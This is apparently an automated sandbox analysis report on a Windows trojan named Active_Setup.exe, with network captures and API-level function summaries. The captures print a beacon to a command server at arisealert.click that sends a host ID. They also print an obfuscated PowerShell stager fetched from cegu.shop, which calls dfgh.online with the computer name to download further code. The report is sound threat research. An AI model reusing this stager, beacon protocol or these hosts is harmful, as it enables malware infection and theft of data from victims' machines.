2024-12-31 16:11:42 UTC	15331	OUT	Data Raw: 02 bd b9 51 ab bd 1f cc a5 54 d0 3a 02 30 95 f5 10 b9 fa 7f dd 64 2e f5 9d c0 42 cf c3 f7 2e be fe 48 58 fa 52 ae 1f fa 13 5f a3 86 a6 1a c1 04 40 b0 8d 78 73 43 86 fc 26 71 26 9c 84 a2 fe 32 a0 5e 81 c8 52 18 77 01 f6 0a 4e a8 e7 bc ab 0b d4 7b 94 fd 0d 1b 18 d4 e4 f2 cc 82 c8 97 77 ee f0 80 82 cb 80 1f 4d e1 04 6e ff 35 12 7d d1 36 59 29 96 f8 ab 50 56 a1 c2 d4 83 70 24 b0 54 5b e2 0d 16 8f 03 b6 f4 dc 68 42 da 2a b6 1f f9 ed df 53 ec c6 4e 64 c9 25 17 28 cb 17 37 81 fa f4 e3 0b be 13 55 2f 02 30 9d 68 86 f8 c6 b7 14 0b 63 42 6f 39 a6 a9 0a c3 c1 ee fb 3a 33 7d 39 f7 a1 a3 2f 4b bf 57 29 2e 90 a2 da c0 86 23 b4 fe e6 bd ff 90 ac cd 9b 7c 8c 9a 3a 68 a6 2f 45 95 9e 40 e6 63 b4 8c ce 5d 76 c2 68 e6 17 03 ea e8 61 45 9c a9 4e 63 95 4e 8b a3 14 e6 65 70 32 Data Ascii: QT:0d.B.HXR_@xsC&q&2^RwN{wMn5}6Y)PVp$T[hB*SNd%(7U/0hcBo9:3}9/KW).#\|:h/E@c]vhaENcNep2
2024-12-31 16:11:42 UTC	15331	OUT	Data Raw: e9 21 93 97 2d 1c 93 10 08 92 69 1d 55 40 73 96 77 d1 2b e1 5d fd 0c e7 81 3d 72 eb 84 09 f8 1b 4d 0a 91 c3 39 70 b1 7e 89 d7 d7 b7 e3 dd 6f 1d 30 1d 0e 17 5c 38 9b 8d 3b e3 4f 8b 1f f4 d2 7d da ce ab 93 f1 e4 9e 84 c7 b1 98 12 b2 67 03 1e 20 ec ef ff f7 d2 8d 86 7b 90 79 39 85 f3 64 c7 84 9d 82 60 4e f6 c3 28 c0 ee 02 35 2f dd 59 1b eb 38 f1 b7 3e 66 63 59 34 58 b2 03 7d ad 7b 33 c7 5a 44 63 bb 24 37 ed 8b 1d 7c 6a 3b 1f 49 80 40 19 0f 02 56 7d 76 ba f8 f2 26 4f a2 24 22 c2 ad c6 6a 10 e2 56 ab b0 b4 cb 7b 78 07 b5 69 00 2b 17 01 4c 67 e1 dd ad aa b6 39 e4 7f 0a 6d f3 d1 7f f6 17 53 fa 34 58 f2 8b dc 02 53 2e 2e bb d3 21 a4 0a c8 bb 3d 93 2d 66 86 bf 49 d4 97 e9 74 88 e0 fc 39 24 33 39 a9 94 25 b2 7c 50 a4 ac 90 b4 77 5c ad 7f e3 ab ab 8a 0c 6d ee eb 29 Data Ascii: !-iU@sw+]=rM9p~o0\8;O}g {y9d`N(5/Y8>fcY4X}{3ZDc$7\|j;I@V}v&O$"jV{xi+Lg9mS4XS..!=-fIt9$39%\|Pw\m)
2024-12-31 16:11:42 UTC	15331	OUT	Data Raw: 4d 89 ef f6 5b 48 fd b6 f6 34 ce 8b cd af d8 ad 90 f3 c0 dd e0 2a 8e d0 6f 24 7a a0 7b 57 78 49 44 36 4a 10 8f d8 c9 17 83 ca e3 98 26 ef fd 2a 21 44 89 10 55 c0 e8 1c 33 ad 2c 72 2c f9 ef 9d 61 cf a6 87 8f 65 41 74 94 7f a5 63 e0 1d 6e d6 d5 38 f5 8d f0 96 21 df b5 fb c6 39 0f 37 5b 46 1a e3 89 a7 83 d0 b7 eb 39 65 cb 17 cf 28 78 72 cb 8e 6d 9a 73 be 78 47 9d 19 90 63 c8 d5 94 46 13 66 98 5f 1f 60 f7 1f d8 b6 5a 7a e5 84 13 79 06 e5 d1 78 3b fe e3 a6 ae ff a7 b7 30 a6 60 0f 07 14 da 95 35 ea 93 86 dc 74 d4 b9 e6 3a c7 c5 3f 95 fb 17 dc dd 74 c7 1a 9d 16 99 fd eb 82 09 43 3b eb 02 5d 32 7f e8 71 b4 6c 3c 9f db cb 54 97 2d 25 b8 e6 e9 62 90 c6 b3 f5 85 7d bf ca b1 c5 d8 e8 a1 d0 2b fd 3f be f3 da 0a 5d 4d 0f 3c f5 9b 0b c4 ed 5a a7 14 f8 93 92 8e 91 b4 b0 Data Ascii: M[H4o$z{WxID6J&!DU3,r,aeAtcn8!97[F9e(xrmsxGcFf_`Zzyx;0`5t:?tC;]2ql<T-%b}+?]M<Z
2024-12-31 16:11:42 UTC	15331	OUT	Data Raw: dc 2e 28 df d4 6f e2 d6 98 e6 10 68 b1 4f c8 fb 31 7c 76 a5 e1 0b 2e 49 fb ce b4 90 f2 33 f2 71 d9 48 be 65 1c 7f b3 09 c8 9d bb b2 37 31 88 f3 06 01 fe 08 44 25 54 22 07 d7 29 ce 4d ea e6 d9 01 e1 fb 17 90 cc b1 19 02 c2 ac f5 7e 34 c0 36 93 a9 97 80 63 dd 58 91 e4 65 ee 67 cc ac 49 d5 48 65 33 6e 1e 96 96 37 8d e0 2a 8f 39 5b 2b 1e 77 b1 9c 52 6e d5 4e 29 a6 ac 7e 2d ba fe b9 69 91 12 d8 c2 f9 11 35 78 47 a1 b8 16 b3 18 cf 59 b0 0e 9c f9 c0 95 28 d3 6b 38 2e 1b a5 b1 db d9 f6 d0 1e d7 1a 83 81 9a 70 d7 bd 4f af 5f 68 99 e3 7a 7d ac 1b 93 f7 1d de 5e 07 55 97 26 b2 f1 60 26 e7 9f 7f ee 06 03 57 03 f0 2e 0f 00 05 41 cb 02 e1 35 2c 88 fa e3 55 40 73 dd 21 77 ef 4d 54 74 a3 f1 42 ef 3e cc 8c cc c6 07 5c f2 be 5b 63 3c dd 47 71 7d 0d e1 b3 b1 0d 97 ed 25 76 Data Ascii: .(ohO1\|v.I3qHe71D%T")M~46cXegIHe3n7*9[+wRnN)~-i5xGY(k8.pO_hz}^U&`&W.A5,U@s!wMTtB>\[c<Gq}%v
2024-12-31 16:11:42 UTC	15331	OUT	Data Raw: 3f ca f5 0a 35 30 a3 61 29 3c d3 b5 ba 0a 72 17 9d c3 56 cf 2a 91 b0 3f fa 4f e1 5a a3 8e 7a 20 2a ef dd 48 3a 6a 93 27 37 aa c0 6f 22 36 53 00 e7 59 72 21 dc 80 b5 f6 07 47 ff 7d 3c 6d 7e c2 7f 0f 39 c8 53 02 99 fd 7d 65 31 26 29 9c 73 cc f4 6b 2c 7b 33 62 8a 70 40 14 e3 1b 20 be a7 9c 34 17 b9 3c 54 b7 27 a4 12 4d b4 03 77 d1 c7 ad ce c1 7b 92 9f ca bc 3d c7 d5 69 05 da eb 5d f9 76 9a 23 42 eb ab a8 a5 de c3 8f b9 49 75 44 82 b2 2a df 2b d6 fe 1e 01 94 11 82 bf fb 45 c5 0e 08 99 b3 1f 0e 20 e8 0a ed 3f 42 62 dc 85 04 6b 33 a4 93 1e 86 b6 6c ed 0b 51 51 fe 2e 73 19 6c d4 f9 7d ff 25 a1 69 f4 44 75 2a 54 d7 4f e6 c4 30 25 e0 b0 10 b3 d3 74 a8 14 1d fa 76 0c d9 2a d8 e5 ae bf cc 9a 17 c9 1e c5 7e 16 4d fb c2 1e 2e c8 6f 4b ba 4d d8 d8 52 36 8f ac 80 92 ac Data Ascii: ?50a)<rV?OZz H:j'7o"6SYr!G}<m~9S}e1&)sk,{3bp@ 4<T'Mw{=i]v#BIuD+E ?Bbk3lQQ.sl}%iDuTO0%tv*~M.oKMR6
2024-12-31 16:11:42 UTC	15331	OUT	Data Raw: db c9 28 e1 47 e4 a2 c8 e6 f8 aa 9d 00 d1 73 83 77 fc 17 73 06 6e 24 16 ab 80 cb 2b ee c7 05 6d 05 b9 1e bb 18 63 97 ff 5e ce ae db b4 24 65 90 bd 0b 93 ab 8c 58 c7 fd 14 df c6 37 f0 13 e0 d5 56 68 38 bd fa 94 3a 3d 48 8c d2 ed d9 ee 78 cd a2 95 2b 3c 9c a9 c7 1b e7 b4 b1 95 d1 bb a2 dc ef d5 72 87 99 b1 3d b4 74 de e7 93 48 99 99 bc 23 d7 9e 3f f1 01 a9 d6 12 a2 6d 19 b7 f9 fc 17 3a a0 40 2c fb d0 70 56 c5 7a c9 7a 57 b3 c0 ee f0 34 87 64 51 ba 74 36 91 91 7d 3f f6 9c 35 09 22 66 ab 28 46 9c 1c cc 91 a0 94 41 52 22 cf f7 f3 6d 81 d3 23 64 91 75 c9 7c 4e fc 5b 35 9f cc a8 20 e8 48 3c c8 86 2d 1b 22 df 99 30 66 59 3e 03 b4 c3 cf bb ad a3 88 bb 0d b2 33 ad fd 49 d2 ae d1 71 52 c9 df dd 60 0b 2b 0b 1d e8 fb 39 5d 3b b2 bc d4 e8 c9 c8 04 7e 21 50 fb 62 4b ca Data Ascii: (Gswsn$+mc^$eX7Vh8:=Hx+<r=tH#?m:@,pVzzW4dQt6}?5"f(FAR"m#du\|N[5 H<-"0fY>3IqR`+9];~!PbK
2024-12-31 16:11:42 UTC	15331	OUT	Data Raw: 60 87 3a d0 51 82 00 a7 26 60 0f f2 30 84 00 a8 b7 36 f9 a5 3e 06 31 52 ae 1f 9c 19 ee e5 9b b2 3a 7a 28 76 e8 67 4b 68 b7 60 ea 50 e4 bb 84 c0 44 af 10 0b c9 51 ec 28 c0 33 0a cb bc 4e 09 45 ef c0 ef 84 7f 1a 97 04 e7 9c fe 7b 73 ec 0e c9 57 ad 2d 30 59 16 71 08 12 65 9e 63 c6 e1 a0 d7 b8 75 ab 45 52 f6 e3 bb b1 e4 de 95 fc d6 e4 83 e4 1b 70 5f 08 69 0f 35 6f 6e d8 b5 ac 31 30 87 1c eb c5 32 8f 14 a0 f9 56 2a 20 2f 9c 8a cc b1 8e 39 e5 ab 25 03 a9 07 e8 bb fe 34 06 5a d5 6e 05 e7 1a 2d 7d 8e c9 3b 96 00 14 07 5a eb d1 2c 0a 5c db 22 b2 81 23 bc 47 2d ce ee d0 70 c6 de 48 c1 79 1c 6b 27 fc aa 99 7e f7 ba c3 18 76 eb 2f 8d d6 62 72 4a cb 24 fa d8 3b ca 85 83 94 4a 49 3c 99 6f 0d 5e de 4e 79 c5 5d d7 b9 07 52 c2 32 96 b2 aa d7 53 fa a8 3f 08 c6 cc 6f bc 7f Data Ascii: `:Q&`06>1R:z(vgKh`PDQ(3NE{sW-0YqecuERp_i5on102V* /9%4Zn-};Z,\"#G-pHyk'~v/brJ$;JI<o^Ny]R2S?o
2024-12-31 16:11:44 UTC	1133	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 16:11:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hobtccep9bkcufsfmafask4m8s; expires=Sat, 26 Apr 2025 09:58:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MX6%2FPT5DEBMegZ32kR5scTQsgIRe19dHptvEFCgLrje4oT9XPafIHJRhJOFYPkzD%2BTxiFJr1dUnaKmSvilj%2BrJ4sgZkRn%2Fk2EyuE%2B2yt5xQ1gAROgoqIwU6vn7w1DZ0jFoRx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fab8c0618554243-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1700&min_rtt=1694&rtt_var=647&sent=311&recv=566&lost=0&retrans=0&sent_bytes=2841&recv_bytes=554587&delivery_rate=1674311&cwnd=193&unsent_bytes=0&cid=3af37905ddfc7e03&ts=2507&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49826	104.21.52.90	443	7284	C:\Users\user\Desktop\Active_Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 16:11:45 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 113 Host: arisealert.click
2024-12-31 16:11:45 UTC	113	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 68 52 6a 7a 47 33 2d 2d 5a 49 4e 41 26 6a 3d 36 33 37 62 35 35 32 37 39 30 32 31 61 61 62 33 33 32 37 38 31 38 38 63 66 61 36 33 38 33 39 37 26 68 77 69 64 3d 41 34 32 34 36 32 44 38 43 33 44 36 46 42 43 42 37 32 36 37 31 45 34 34 44 38 34 32 30 32 39 41 Data Ascii: act=get_message&ver=4.0&lid=hRjzG3--ZINA&j=637b55279021aab33278188cfa638397&hwid=A42462D8C3D6FBCB72671E44D842029A
2024-12-31 16:11:45 UTC	1126	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 16:11:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ashq6d28u4oi7fs87b64srg4il; expires=Sat, 26 Apr 2025 09:58:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7O%2Fl71r1KVuuN%2FjtxqYpS2ZlkH13u7seEC5wLj9XyNGyU1FiMl%2F6pFR2S4LM8CT3ACTgXwwajQMwE8rjJUYC80nz8jqqd67X3keKyDuXwotYY%2B73cWmzx0LcjgE7Zjl%2BooKH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fab8c18ee374240-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1714&min_rtt=1707&rtt_var=654&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1014&delivery_rate=1656267&cwnd=243&unsent_bytes=0&cid=708aa74d793c6d3f&ts=481&x=0"
2024-12-31 16:11:45 UTC	218	IN	Data Raw: 64 34 0d 0a 4f 6b 66 37 2f 63 64 69 48 53 75 6e 44 2f 48 62 6d 58 41 45 67 69 36 37 2f 49 2b 56 2b 74 32 6f 52 37 54 78 67 65 5a 6b 64 58 35 68 50 4e 6d 49 35 56 67 2f 51 39 4e 37 67 61 69 6a 4c 43 76 65 41 64 69 5a 36 4f 44 55 72 73 41 6f 78 4b 32 75 33 6c 46 43 53 67 68 78 79 63 6e 7a 56 45 45 45 31 32 66 66 72 2b 45 45 4a 71 34 4d 33 59 69 74 72 38 6a 78 69 69 4b 57 79 37 43 62 53 41 35 63 54 32 58 42 33 36 38 57 61 56 76 55 4e 61 33 30 78 56 39 76 37 6b 66 4c 69 76 72 34 6b 36 37 64 4c 70 71 43 36 59 6b 55 4b 56 46 54 4b 59 2b 69 70 41 35 74 64 4e 52 6e 6b 50 58 74 43 48 43 67 41 70 6d 61 2b 37 66 41 37 59 52 6c 30 64 4f 37 31 68 6b 6f 0d 0a Data Ascii: d4Okf7/cdiHSunD/HbmXAEgi67/I+V+t2oR7TxgeZkdX5hPNmI5Vg/Q9N7gaijLCveAdiZ6ODUrsAoxK2u3lFCSghxycnzVEEE12ffr+EEJq4M3Yitr8jxiiKWy7CbSA5cT2XB368WaVvUNa30xV9v7kfLivr4k67dLpqC6YkUKVFTKY+ipA5tdNRnkPXtCHCgApma+7fA7YRl0dO71hko
2024-12-31 16:11:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49832	185.161.251.21	443	7284	C:\Users\user\Desktop\Active_Setup.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 16:11:46 UTC	201	OUT	GET /8574262446/ph.txt HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: cegu.shop
2024-12-31 16:11:46 UTC	249	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Tue, 31 Dec 2024 16:11:46 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 329 Last-Modified: Thu, 26 Dec 2024 00:07:06 GMT Connection: close ETag: "676c9e2a-149" Accept-Ranges: bytes
2024-12-31 16:11:46 UTC	329	IN	Data Raw: 5b 4e 65 74 2e 73 65 72 76 69 63 65 70 4f 49 4e 54 6d 41 4e 61 47 65 72 5d 3a 3a 53 45 63 55 52 69 54 79 50 72 4f 74 6f 43 4f 6c 20 3d 20 5b 4e 65 74 2e 53 65 63 55 72 69 54 79 70 72 4f 74 6f 63 6f 6c 74 59 50 65 5d 3a 3a 74 4c 73 31 32 3b 20 24 67 44 3d 27 68 74 74 70 73 3a 2f 2f 64 66 67 68 2e 6f 6e 6c 69 6e 65 2f 69 6e 76 6f 6b 65 72 2e 70 68 70 3f 63 6f 6d 70 4e 61 6d 65 3d 27 2b 24 65 6e 76 3a 63 6f 6d 70 75 74 65 72 6e 61 6d 65 3b 20 24 70 54 53 72 20 3d 20 69 57 72 20 2d 75 52 69 20 24 67 44 20 2d 75 53 65 62 41 53 49 63 70 41 52 73 69 4e 67 20 2d 55 73 45 72 41 47 65 6e 74 20 27 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 37 2e Data Ascii: [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.

Target ID:	0
Start time:	11:11:14
Start date:	31/12/2024
Path:	C:\Users\user\Desktop\Active_Setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Active_Setup.exe"
Imagebase:	0x9c0000
File size:	78'065'437 bytes
MD5 hash:	E33268982207781838161261E248276B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.3687988772.0000000003030000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	18.2%
Total number of Nodes:	110
Total number of Limit Nodes:	8

Executed Functions

Function 009EC494 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 129
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(00000114), ref: 009EC4AE
RegOpenKeyExW.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00020019,?,00000114), ref: 009EC50F
RegQueryValueExW.ADVAPI32(?,DisplayVersion,00000000,00000000,00000000,?,00000000,009EC626,?,80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00020019,?,00000114), ref: 009EC53D
RegQueryValueExW.ADVAPI32(?,DisplayVersion,00000000,00000000,00000000,00000002,?,DisplayVersion,00000000,00000000,00000000,?,00000000,009EC626,?,80000002), ref: 009EC57F
RegQueryValueExW.ADVAPI32(?,ReleaseId,00000000,00000000,00000000,?,?,DisplayVersion,00000000,00000000,00000000,?,00000000,009EC626,?,80000002), ref: 009EC599
RegQueryValueExW.ADVAPI32(?,ReleaseId,00000000,00000000,00000000,00000002,?,ReleaseId,00000000,00000000,00000000,?,?,DisplayVersion,00000000,00000000), ref: 009EC5DB
RegQueryValueExW.ADVAPI32(?,UBR,00000000,00000000,00C7B914,00000004,?,ReleaseId,00000000,00000000,00000000,?,?,DisplayVersion,00000000,00000000), ref: 009EC5FD
RegCloseKey.ADVAPI32(?,009EC62D,00000000,00C7B914,00000004,?,ReleaseId,00000000,00000000,00000000,?,?,DisplayVersion,00000000,00000000,00000000), ref: 009EC61E

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 009EC505
UBR, xrefs: 009EC5F4
DisplayVersion, xrefs: 009EC534, 009EC576
ReleaseId, xrefs: 009EC590, 009EC5D2

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: QueryValue$CloseOpenVersion
String ID: DisplayVersion$ReleaseId$SOFTWARE\Microsoft\Windows NT\CurrentVersion$UBR
API String ID: 4211099411-3678894217
Opcode ID: ab40be411c0c84c38661fb749bda79f7eb0f7295875ee7d5f1cf1bdf6b69fc5f
Instruction ID: 0e157e74c021f63aa11f08a632a84860c12aed0ac92ef3069e54bfb1c9538dfd
Opcode Fuzzy Hash: ab40be411c0c84c38661fb749bda79f7eb0f7295875ee7d5f1cf1bdf6b69fc5f
Instruction Fuzzy Hash: 5B41B3B5A4024CBEDB21DBA5DC42F9E77BCDB88B04F204461F748E6281D770AE45CB50

Function 00ACFE60 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 938
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(0089C846,00050AEE,00000000,?,?,00C35A14,?,00000000,?,00B5F03B,00000000,00000000,?,00B5FAE6,00000000,00B5FC34), ref: 00AD0617

Strings

nvalid literal/lengths set, xrefs: 00AD0092

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: AllocVirtual
String ID: nvalid literal/lengths set
API String ID: 4275171209-914298834
Opcode ID: cb02b729adae4f5fb581513cc291167a0d806e5f79b0243126f52c4786beb0a3
Instruction ID: cadecfb945a7de1feb8e35f5bcc573414a0bde67e8bdcfc433b5d744110c18f7
Opcode Fuzzy Hash: cb02b729adae4f5fb581513cc291167a0d806e5f79b0243126f52c4786beb0a3
Instruction Fuzzy Hash: 11429A37E107340BD754FBBD8D8636D2583ABC0304F869639EC5ADB64BCE39898642D2

Function 009CFA34 Relevance: 3.1, APIs: 2, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserDefaultUILanguage.KERNEL32(00000003,?,00000004,00000000,009CFAF6,?,?), ref: 009CFA66
GetLocaleInfoW.KERNEL32(?,00000003,?,00000004,00000000,009CFAF6,?,?), ref: 009CFA6F

Part of subcall function 009CF8DC: FindFirstFileW.KERNEL32(00000000,?,00000000,009CF93C,?,?), ref: 009CF90F
Part of subcall function 009CF8DC: FindClose.KERNEL32(00000000,00000000,?,00000000,009CF93C,?,?), ref: 009CF91F

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687407971.0000000000C6F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687424460.0000000000C70000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687440430.0000000000C73000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687455817.0000000000C76000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687471927.0000000000C77000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C78000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C7D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687485473.0000000000C80000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687528425.0000000000C82000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687543043.0000000000C84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687557688.0000000000C85000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000C87000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687571943.0000000000D01000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9c0000_Active_Setup.jbxd

Similarity

API ID: Find$CloseDefaultFileFirstInfoLanguageLocaleUser
String ID:
API String ID: 3216391948-0
Opcode ID: 19f8f3263ff6bfb642611c8a08372d35c2a597279a20c2fb2c2b066499be1d08
Instruction ID: c34f3c4ec3fe6ed33c710d472e023e77dbfc438a8bc2e4762557f374774ffc75
Opcode Fuzzy Hash: 19f8f3263ff6bfb642611c8a08372d35c2a597279a20c2fb2c2b066499be1d08
Instruction Fuzzy Hash: 6A111A70E002099FEB04EBA4D992FAEB3B9EF85304F504479A505E7652EB705E058763

Function 009CF8DC Relevance: 3.0, APIs: 2, Instructions: 34
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNEL32(00000000,?,00000000,009CF93C,?,?), ref: 009CF90F
FindClose.KERNEL32(00000000,00000000,?,00000000,009CF93C,?,?), ref: 009CF91F

Memory Dump Source

Source File: 00000000.00000002.3687244377.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true

Associated: 00000000.00000002.3687227289.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3687391728.0000000000C6E000.00000004.00000001.01000000.00000003.sdmpDownload File
